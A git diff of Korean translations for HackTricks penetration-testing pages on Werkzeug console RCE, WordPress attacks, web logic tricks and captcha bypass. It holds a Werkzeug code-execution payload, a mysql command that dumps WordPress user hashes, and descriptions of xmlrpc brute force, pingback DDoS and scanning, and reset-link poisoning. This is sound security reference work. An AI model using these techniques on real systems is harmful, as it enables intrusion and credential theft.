합니다(이것이 그들의 비즈니스입니다). 그 중 일부는 다음과 같습니다: - [ScraperAPI](https://www.scraperapi.com/?fp_ref=scrapeops) - [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops) - [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32) -- [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) 는 독점적인 Cloudflare 우회 메커니즘으로 주목받고 있습니다. +- [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb)는 독점적인 Cloudflare 우회 메커니즘으로 주목받고 있습니다. 최적화된 솔루션을 찾는 사람들을 위해 [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/)가 두드러집니다. 이 서비스는 20개 이상의 프록시 제공업체를 단일 API로 통합하여 대상 도메인에 대해 가장 좋고 비용 효율적인 프록시를 자동으로 선택하여 Cloudflare의 방어를 탐색하는 데 우수한 옵션을 제공합니다. diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index db4a652e0..3ed591697 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -2,10 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} - ## Console RCE -디버그가 활성화되어 있으면 `/console`에 접근하여 RCE를 얻을 수 있습니다. +디버그가 활성화되어 있으면 `/console`에 접근하여 RCE를 얻으려고 시도할 수 있습니다. ```python __import__('os').popen('whoami').read(); ``` @@ -25,7 +24,7 @@ The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` -"console locked" 시나리오에 대한 메시지가 Werkzeug의 디버그 인터페이스에 접근하려고 할 때 나타나며, 콘솔 잠금을 해제하기 위해 PIN이 필요함을 나타냅니다. 콘솔 PIN을 악용하기 위해 Werkzeug의 디버그 초기화 파일(`__init__.py`)에서 PIN 생성 알고리즘을 분석할 것을 제안합니다. PIN 생성 메커니즘은 [**Werkzeug 소스 코드 저장소**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py)에서 연구할 수 있지만, 잠재적인 버전 불일치로 인해 실제 서버 코드를 파일 탐색 취약점을 통해 확보하는 것이 좋습니다. +"console locked" 시나리오에 대한 메시지가 Werkzeug의 디버그 인터페이스에 접근하려고 할 때 나타나며, 콘솔 잠금을 해제하기 위해 PIN이 필요함을 나타냅니다. PIN 생성 알고리즘을 분석하여 콘솔 PIN을 악용할 것을 제안합니다. PIN 생성 메커니즘은 [**Werkzeug 소스 코드 저장소**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py)에서 연구할 수 있지만, 잠재적인 버전 불일치로 인해 파일 탐색 취약점을 통해 실제 서버 코드를 확보하는 것이 좋습니다. 콘솔 PIN을 악용하기 위해 두 세트의 변수가 필요합니다: `probably_public_bits`와 `private_bits`. @@ -141,10 +140,10 @@ rv = num print(rv) ``` -이 스크립트는 연결된 비트를 해싱하고 특정 솔트(`cookiesalt` 및 `pinsalt`)를 추가하며 출력을 포맷하여 PIN을 생성합니다. `probably_public_bits` 및 `private_bits`의 실제 값은 생성된 PIN이 Werkzeug 콘솔에서 예상되는 것과 일치하도록 목표 시스템에서 정확하게 얻어야 한다는 점이 중요합니다. +이 스크립트는 연결된 비트를 해싱하고 특정 솔트(`cookiesalt` 및 `pinsalt`)를 추가하며 출력을 형식화하여 PIN을 생성합니다. `probably_public_bits` 및 `private_bits`의 실제 값은 생성된 PIN이 Werkzeug 콘솔에서 예상되는 것과 일치하도록 목표 시스템에서 정확하게 얻어야 한다는 점이 중요합니다. > [!TIP] -> **구버전**의 Werkzeug를 사용 중이라면 **해싱 알고리즘을 sha1 대신 md5로 변경**해 보십시오. +> **오래된 버전**의 Werkzeug를 사용 중이라면 **해싱 알고리즘을 sha1 대신 md5로 변경**해 보세요. ## Werkzeug 유니코드 문자 @@ -154,14 +153,15 @@ print(rv) ## 자동화된 익스플로잇 -{% embed url="https://github.com/Ruulian/wconsole_extractor" %} +{{#ref}} +https://github.com/Ruulian/wconsole_extractor +{{#endref}} -## 참고 문헌 +## 참고자료 - [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/) - [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955) - [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833) - [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index c3d2dbe4c..6a5e120d3 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,9 +5,9 @@ ## 기본 정보 - **업로드된** 파일은 다음 위치에 저장됩니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 해당 경로를 사용할 가능성이 높습니다. 예를 들어, **테마 twentytwelve**를 사용하면 다음 위치에서 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 아마도 해당 경로를 사용할 것입니다. 예를 들어: **테마 twentytwelve**를 사용하면 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **또 다른 유용한 URL은 다음과 같습니다:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **또 다른 유용한 URL은:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **wp-config.php**에서 데이터베이스의 루트 비밀번호를 찾을 수 있습니다. - 확인할 기본 로그인 경로: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ @@ -16,17 +16,17 @@ - `index.php` - `license.txt`는 설치된 WordPress 버전과 같은 유용한 정보를 포함합니다. -- `wp-activate.php`는 새 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다. +- `wp-activate.php`는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다. - 로그인 폴더(숨기기 위해 이름이 변경될 수 있음): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php`는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용하여 데이터를 전송할 수 있게 해주는 WordPress의 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다. +- `xmlrpc.php`는 HTTP가 전송 메커니즘으로 작용하고 XML이 인코딩 메커니즘으로 작용하는 WordPress의 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다. - `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉토리입니다. - `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다. - `wp-includes/`는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉토리입니다. -- `wp-sitemap.xml`은 WordPress 버전 5.5 이상에서 모든 공개 게시물 및 공개 쿼리 가능한 게시물 유형과 분류법이 포함된 사이트맵 XML 파일을 생성합니다. +- `wp-sitemap.xml` WordPress 버전 5.5 이상에서 WordPress는 모든 공개 게시물 및 공개 쿼리 가능한 게시물 유형과 분류법이 포함된 사이트맵 XML 파일을 생성합니다. **포스트 익스플로잇** @@ -35,7 +35,7 @@ ### 사용자 권한 - **관리자** -- **편집자**: 자신의 게시물 및 다른 게시물을 게시하고 관리합니다. +- **편집자**: 자신의 게시물 및 다른 사람의 게시물을 게시하고 관리합니다. - **저자**: 자신의 게시물을 게시하고 관리합니다. - **기여자**: 자신의 게시물을 작성하고 관리하지만 게시할 수는 없습니다. - **구독자**: 게시물을 탐색하고 자신의 프로필을 편집합니다. @@ -44,7 +44,7 @@ ### **WordPress 버전 가져오기** -파일 `/license.txt` 또는 `/readme.html`을 찾을 수 있는지 확인합니다. +`/license.txt` 또는 `/readme.html` 파일을 찾을 수 있는지 확인하십시오. 페이지의 **소스 코드** 내에서 (예: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): @@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### 플러그인 및 테마 -모든 플러그인과 테마를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **플러그인 및 테마 목록을 능동적으로 브루트 포스해야 합니다** (다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다). +모든 플러그인과 테마를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **플러그인과 테마 목록을 능동적으로 브루트 포스해야 합니다** (다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다). ### 사용자 @@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **자격 증명 무차별 대입** -**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 무차별 대입하는 데 사용할 수 있는 방법 중 일부입니다. 이 중 하나라도 찾을 수 있다면 다음과 같은 것을 보낼 수 있습니다: +**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 무차별 대입하는 데 사용할 수 있는 방법 중 일부입니다. 이 중 하나를 찾을 수 있다면 다음과 같은 것을 보낼 수 있습니다: ```markup wp.getUsersBlogs @@ -168,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -또한 **`system.multicall`**을 사용하여 자격 증명을 브루트 포스하는 **더 빠른 방법**이 있습니다. 이를 통해 동일한 요청에서 여러 자격 증명을 시도할 수 있습니다: +또한 **`system.multicall`**을 사용하여 자격 증명을 무차별 대입하는 **더 빠른 방법**이 있습니다. 이를 통해 동일한 요청에서 여러 자격 증명을 시도할 수 있습니다:
**2FA 우회** -이 방법은 프로그램을 위한 것이지 인간을 위한 것이 아니며, 오래된 것이기 때문에 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다. +이 방법은 프로그램을 위한 것이지 인간을 위한 것이 아니며, 오래된 것이기 때문에 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있습니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다. **DDoS 또는 포트 스캐닝** -목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보낼 수 있습니다.\ -이를 사용하여 **수천** 개의 Wordpress **사이트**에 **하나의 위치**에 **접속**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트도 지정할 수 있습니다). +목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로든 보낼 수 있습니다.\ +이를 사용하여 **수천** 개의 Wordpress **사이트**에 **하나의 위치**에 **접근**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트든 지정할 수 있습니다). ```markup pingback.ping @@ -225,7 +225,9 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1 ## SSRF -{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %} +{{#ref}} +https://github.com/t0gu/quickpress/blob/master/core/requests.go +{{#endref}} 이 도구는 **methodName: pingback.ping**과 경로 **/wp-json/oembed/1.0/proxy**가 존재하는지 확인하고, 존재할 경우 이를 악용하려고 시도합니다. @@ -237,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## 비트를 덮어써서 접근하기 -실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 워드프레스 파일의 비트 하나를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 위치 `5389`를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다. +실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 모든 워드프레스 파일의 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 `5389` 위치를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -252,7 +254,7 @@ php 셸을 위한 내용을 변경합니다: ![](<../../images/image (384).png>) -업데이트된 페이지에 어떻게 접근할 수 있는지 인터넷에서 검색하세요. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +업데이트된 페이지에 접근하는 방법을 인터넷에서 검색하세요. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -320,7 +322,7 @@ to get a session. ## Post Exploitation -Extract usernames and passwords: +사용자 이름과 비밀번호 추출: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` @@ -332,25 +334,25 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### 공격 표면 -Wordpress 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 포스트**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다. +Wordpress 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 게시물**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다. - **`wp_ajax`** 플러그인이 기능을 사용자에게 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 종종 인증 및 권한 부여가 Wordpress nonce의 존재에 기반하고 있으며, **Wordpress 인스턴스에 인증된 모든 사용자가 이를 가질 수 있습니다** (역할에 관계없이). -다음은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수입니다: +이들은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수입니다: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**`nopriv`의 사용은 모든 사용자(인증되지 않은 사용자 포함)가 엔드포인트에 접근할 수 있게 만듭니다.** +**`nopriv`의 사용은 모든 사용자(인증되지 않은 사용자 포함)가 엔드포인트에 접근할 수 있게 합니다.** > [!CAUTION] -> 게다가, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다. +> 게다가, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하는 것이라면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다. - **REST API** -`register_rest_route` 함수를 사용하여 wordpress에서 함수를 노출하는 것도 가능합니다: +`register_rest_route` 함수를 사용하여 wordpress에서 REST API를 등록하여 함수를 노출하는 것도 가능합니다: ```php register_rest_route( $this->namespace, '/get/', array( @@ -362,11 +364,11 @@ $this->namespace, '/get/', array( ``` `permission_callback`는 주어진 사용자가 API 메서드를 호출할 수 있는 권한이 있는지 확인하는 함수에 대한 콜백입니다. -**내장된 `__return_true` 함수가 사용되면, 사용자 권한 확인을 단순히 건너뜁니다.** +**내장된 `__return_true` 함수를 사용하면 사용자 권한 확인을 간단히 건너뜁니다.** - **php 파일에 대한 직접 접근** -물론, WordPress는 PHP를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로 트리거되는 취약한 기능을 노출하는 경우, 모든 사용자가 이를 악용할 수 있습니다. +물론, Wordpress는 PHP를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로도 트리거되는 취약한 기능을 노출하는 경우, 모든 사용자가 이를 악용할 수 있습니다. ## WordPress 보호 diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md index 8275c2367..08c093598 100644 --- a/src/other-web-tricks.md +++ b/src/other-web-tricks.md @@ -2,19 +2,17 @@ {{#include ./banners/hacktricks-training.md}} - ### 호스트 헤더 -여러 번 백엔드는 **호스트 헤더**를 신뢰하여 일부 작업을 수행합니다. 예를 들어, 비밀번호 재설정을 위한 **도메인으로 그 값을 사용할 수 있습니다**. 따라서 비밀번호를 재설정하는 링크가 포함된 이메일을 받으면, 사용되는 도메인은 호스트 헤더에 입력한 도메인입니다. 그러면 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 당신이 제어하는 것으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +여러 번 백엔드는 **호스트 헤더**를 신뢰하여 일부 작업을 수행합니다. 예를 들어, 비밀번호 재설정을 위한 **도메인으로 그 값을 사용할 수 있습니다**. 따라서 비밀번호를 재설정하는 링크가 포함된 이메일을 받으면, 사용되는 도메인은 호스트 헤더에 입력한 것입니다. 그러면 다른 사용자의 비밀번호 재설정을 요청하고 도메인을 당신이 제어하는 것으로 변경하여 그들의 비밀번호 재설정 코드를 훔칠 수 있습니다. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). > [!WARNING] > 사용자가 비밀번호 재설정 링크를 클릭할 때까지 기다릴 필요가 없을 수도 있다는 점에 유의하세요. **스팸 필터나 다른 중개 장치/봇이 이를 클릭하여 분석할 수도 있습니다**. - ### 세션 불리언 -때때로 일부 검증을 올바르게 완료하면 백엔드는 **세션의 보안 속성에 "True" 값을 가진 불리언을 추가합니다**. 그런 다음, 다른 엔드포인트는 해당 검사를 성공적으로 통과했는지 알 수 있습니다.\ -그러나 **검사를 통과**하고 세션이 보안 속성에서 "True" 값을 부여받으면, **접근 권한이 없어야 하는 동일한 속성에 의존하는 다른 리소스에 접근을 시도할 수 있습니다**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). +때때로 일부 검증을 올바르게 완료하면 백엔드는 **보안 속성에 "True" 값의 불리언을 추가합니다**. 그런 다음 다른 엔드포인트는 해당 검사를 성공적으로 통과했는지 알 수 있습니다.\ +그러나 **검사를 통과**하고 세션이 보안 속성에서 "True" 값을 부여받으면, **접근 권한이 없어야 하는 다른 리소스에 접근을 시도할 수 있습니다**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a). ### 등록 기능 @@ -22,17 +20,18 @@ ### 이메일 탈취 -이메일을 등록한 후, 확인하기 전에 이메일을 변경하세요. 그런 다음, 새로운 확인 이메일이 첫 번째 등록된 이메일로 전송되면, 어떤 이메일도 탈취할 수 있습니다. 또는 두 번째 이메일이 첫 번째 이메일을 확인하도록 활성화할 수 있다면, 어떤 계정도 탈취할 수 있습니다. +이메일을 등록한 후, 확인하기 전에 이메일을 변경하세요. 그런 다음, 새 확인 이메일이 첫 번째 등록된 이메일로 전송되면, 어떤 이메일도 탈취할 수 있습니다. 또는 두 번째 이메일이 첫 번째 이메일을 확인하도록 활성화할 수 있다면, 어떤 계정도 탈취할 수 있습니다. ### Atlassian을 사용하는 회사의 내부 서비스 데스크 접근 -{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} +{{#ref}} +https://yourcompanyname.atlassian.net/servicedesk/customer/user/login +{{#endref}} ### TRACE 메서드 -개발자는 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메서드는 진단 목적으로 설계되었습니다. 활성화되면, 웹 서버는 `TRACE` 메서드를 사용하는 요청에 대해 수신된 정확한 요청을 응답에 에코하여 응답합니다. 이 동작은 종종 무해하지만, 때때로 내부 인증 헤더의 이름과 같은 정보 유출로 이어질 수 있습니다.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) +개발자는 프로덕션 환경에서 다양한 디버깅 옵션을 비활성화하는 것을 잊을 수 있습니다. 예를 들어, HTTP `TRACE` 메서드는 진단 목적으로 설계되었습니다. 활성화되면 웹 서버는 `TRACE` 메서드를 사용하는 요청에 대해 수신된 정확한 요청을 응답에 에코하여 응답합니다. 이 동작은 종종 무해하지만, 때때로 내부 인증 헤더의 이름과 같은 정보 유출로 이어질 수 있습니다.![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20) ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) - {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/captcha-bypass.md b/src/pentesting-web/captcha-bypass.md index 7c8253fc1..d5b77571e 100644 --- a/src/pentesting-web/captcha-bypass.md +++ b/src/pentesting-web/captcha-bypass.md @@ -4,34 +4,36 @@ ## Captcha Bypass -서버 테스트 중 캡차를 **우회**하고 사용자 입력 기능을 자동화하기 위해 다양한 기술을 사용할 수 있습니다. 목표는 보안을 약화시키는 것이 아니라 테스트 프로세스를 간소화하는 것입니다. 다음은 포괄적인 전략 목록입니다: +**서버 테스트** 중에 captcha를 **우회**하고 사용자 입력 기능을 자동화하기 위해 다양한 기술을 사용할 수 있습니다. 목표는 보안을 약화시키는 것이 아니라 테스트 프로세스를 간소화하는 것입니다. 다음은 전략의 포괄적인 목록입니다: 1. **매개변수 조작**: -- **캡차 매개변수 생략**: 캡차 매개변수를 전송하지 않도록 합니다. HTTP 메서드를 POST에서 GET 또는 다른 동사로 변경하고, 데이터 형식을 변경하는 실험을 해보세요. 예를 들어, 폼 데이터와 JSON 간에 전환합니다. -- **빈 캡차 전송**: 캡차 매개변수가 포함되지만 비어 있는 요청을 제출합니다. +- **Captcha 매개변수 생략**: captcha 매개변수를 전송하지 않도록 합니다. HTTP 메서드를 POST에서 GET 또는 다른 동사로 변경하고, 데이터 형식을 변경하는 실험을 해보세요. 예를 들어, 폼 데이터와 JSON 간에 전환합니다. +- **빈 Captcha 전송**: captcha 매개변수가 포함되지만 비어 있는 요청을 제출합니다. 2. **값 추출 및 재사용**: -- **소스 코드 검사**: 페이지의 소스 코드 내에서 캡차 값을 검색합니다. -- **쿠키 분석**: 쿠키를 검사하여 캡차 값이 저장되고 재사용되는지 확인합니다. -- **이전 캡차 값 재사용**: 이전에 성공한 캡차 값을 다시 사용해 보세요. 이 값은 언제든지 만료될 수 있습니다. -- **세션 조작**: 서로 다른 세션이나 동일한 세션 ID에서 동일한 캡차 값을 사용해 보세요. +- **소스 코드 검사**: 페이지의 소스 코드 내에서 captcha 값을 검색합니다. +- **쿠키 분석**: 쿠키를 검사하여 captcha 값이 저장되고 재사용되는지 확인합니다. +- **이전 Captcha 값 재사용**: 이전에 성공한 captcha 값을 다시 사용해 보세요. 이 값은 언제든지 만료될 수 있습니다. +- **세션 조작**: 서로 다른 세션이나 동일한 세션 ID에서 동일한 captcha 값을 사용해 보세요. 3. **자동화 및 인식**: -- **수학적 캡차**: 캡차가 수학 연산을 포함하는 경우, 계산 프로세스를 자동화합니다. +- **수학적 Captcha**: captcha가 수학 연산을 포함하는 경우, 계산 프로세스를 자동화합니다. - **이미지 인식**: -- 이미지에서 문자를 읽어야 하는 캡차의 경우, 수동 또는 프로그래밍 방식으로 고유한 이미지의 총 수를 결정합니다. 세트가 제한적이라면 각 이미지를 MD5 해시로 식별할 수 있습니다. +- 이미지에서 문자를 읽어야 하는 captcha의 경우, 수동 또는 프로그래밍 방식으로 고유한 이미지의 총 수를 결정합니다. 세트가 제한적이라면 각 이미지를 MD5 해시로 식별할 수 있습니다. - [Tesseract OCR](https://github.com/tesseract-ocr/tesseract)와 같은 광학 문자 인식(OCR) 도구를 사용하여 이미지에서 문자를 자동으로 읽습니다. 4. **추가 기술**: - **비율 제한 테스트**: 애플리케이션이 주어진 시간 내에 시도 또는 제출 횟수를 제한하는지, 이 제한을 우회하거나 재설정할 수 있는지 확인합니다. -- **타사 서비스**: 자동 캡차 인식 및 해결을 제공하는 캡차 해결 서비스 또는 API를 사용합니다. -- **세션 및 IP 회전**: 서버에 의해 감지 및 차단되는 것을 피하기 위해 세션 ID와 IP 주소를 자주 변경합니다. +- **타사 서비스**: 자동화된 captcha 인식 및 해결을 제공하는 captcha 해결 서비스 또는 API를 사용합니다. +- **세션 및 IP 회전**: 서버에 의해 감지 및 차단을 피하기 위해 세션 ID와 IP 주소를 자주 변경합니다. - **User-Agent 및 헤더 조작**: User-Agent 및 기타 요청 헤더를 변경하여 다양한 브라우저나 장치를 모방합니다. -- **오디오 캡차 분석**: 오디오 캡차 옵션이 있는 경우, 음성 인식 서비스를 사용하여 캡차를 해석하고 해결합니다. +- **오디오 Captcha 분석**: 오디오 captcha 옵션이 있는 경우, 음성 인식 서비스를 사용하여 captcha를 해석하고 해결합니다. ## Online Services to solve captchas ### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) -[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)는 다양한 유형의 캡차를 자동으로 해결하는 AI 기반 서비스로, 웹 스크래핑 중 발생하는 캡차 문제를 쉽게 극복할 수 있도록 개발자를 지원합니다. **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, Cloudflare 턴스타일 등**의 캡차를 지원합니다. 개발자를 위해 Capsolver는 [**문서**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,**에서 자세히 설명된 API 통합 옵션을 제공합니다. 또한 [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) 및 [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/)용 브라우저 확장 프로그램을 제공하여 브라우저 내에서 직접 서비스를 쉽게 사용할 수 있습니다. 다양한 요구를 수용할 수 있는 다양한 가격 패키지가 제공되어 사용자에게 유연성을 보장합니다. +[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass)는 다양한 유형의 captcha를 자동으로 해결하는 AI 기반 서비스로, 개발자가 웹 스크래핑 중에 발생하는 captcha 문제를 쉽게 극복할 수 있도록 데이터 수집을 지원합니다. **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, Cloudflare 턴스타일 등**의 captcha를 지원합니다. 개발자를 위해 Capsolver는 [**문서**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,**에서 자세히 설명된 API 통합 옵션을 제공합니다. 이들은 [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) 및 [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/)용 브라우저 확장 프로그램도 제공하여 브라우저 내에서 직접 서비스를 쉽게 사용할 수 